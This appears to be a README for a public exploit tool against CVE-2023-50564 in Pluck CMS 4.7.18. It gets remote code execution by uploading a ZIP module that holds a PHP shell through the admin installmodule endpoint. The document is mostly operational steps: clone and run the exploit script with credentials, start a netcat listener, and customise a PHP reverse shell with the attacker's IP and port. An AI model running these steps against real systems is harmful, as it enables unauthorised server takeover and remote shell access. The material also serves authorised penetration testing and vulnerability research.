CVE-2023-50564

📌 Description

This exploit allows an authenticated admin in Pluck CMS v4.7.18 to upload a malicious ZIP module containing a PHP shell, resulting in remote code execution (RCE).

⚙️ Features

• Authenticates to the target using a valid username and password
• Automatically creates a ZIP archive from a provided PHP file
• Uploads the module to the vulnerable installmodule endpoint
• Triggers the payload and displays the output
• Supports custom target, port, credentials, and shell path

🚀 Usage

git clone https://github.com/glynzr/CVE-2023-50564.git
cd CVE-2023-50564
pip3 install -r requirements.txt

python3 exploit.py -h

python3 exploit.py -t <target> -u <username> -pass <password> -path <path_to_php_shell> [-p <port>]

• The port is optional and defaults to 80 if not specified.
• When specifying the target, the IP address or domain name is required (e.g., 127.0.0.1 or test.domain).

Sample exploit

First, reverse shell listener should be started on attacker machine(this tab on the terminal should not be terminated):

nc -nvlp <specify port>

Then, download php reverse shell from https://github.com/pentestmonkey/php-reverse-shell and customize it according to attacker machine. (IP,port)

Run the exploit code on another tab:

python3 exploit.py -t test.com -u admin -pass samplepassword -path ../php-reverse-shell.php